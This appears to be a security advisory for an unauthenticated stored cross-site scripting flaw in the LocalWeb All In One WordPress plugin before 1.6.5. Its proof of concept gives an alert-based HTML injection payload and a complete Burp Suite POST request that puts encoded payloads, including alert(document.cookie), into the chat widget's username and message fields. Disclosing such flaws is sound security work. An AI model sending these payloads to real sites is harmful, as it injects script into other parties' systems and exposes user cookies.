LocalWeb All In One plugin < 1.6.5 – Unauthenticated Stored Cross-Site Scripting (XSS)

Description

An Unauthenticated Stored XSS vulnerability was discovered in the LocalWeb All In One plugin v1.6.3 for WordPress.

There is an older version of this plugin called Web Instant Messenger, latest version is v1.1.1.

The specificity of this plugin is that it interacts with the remote host www.localweb.it, so the payload will be executed on it.

Proof of Concept

[$] :: Payload:

"><img src=x onerror=(alert)(`XSS`);>


[!] :: PoC (Burp Suite):

POST /chat/widget/post.php HTTP/1.1
Host: example.com
Content-type: application/x-www-form-urlencoded
Content-Length: 761
Referer: https://example.com/chat/widget/ultimate_chat_widget.php?rag_soc=%22%3E%3Cimg%20src%3Dx%20onerror%3D(alert)(%60XSS%60)%3B&messaggio_0=Salve!%20Come%20posso%20esserle%20utile?&show_wim_after=60&auto_show_wim=NO&show_mobile=SI&lingua=it&d=[encoded_data]
Cookie: lwgdpr_user_preference={"necessary":"yes","marketing":"no","analytics":"no","preferences":"no"}; termini=1

encodedGetVars=[encoded_data]&request_id=21406220&username=%22%3E%3Cimg%20src%3Dx%20onerror%3D(alert)(%60Ex.Mi%60)%3B(alert)(document.cookie)&message=4325%22--%26gt%3B%22%26gt%3B'%60%20--%20%60%26lt%3B!--%26lt%3Bimg%20src%3D%22--%26gt%3B%26lt%3Bimg%20src%3Dx%20onerror%3D(alert)(%60Ex.Mi%60)%3B(alert)(document.cookie)&emojiFamily=twitter&status=0&operatorsOnline=0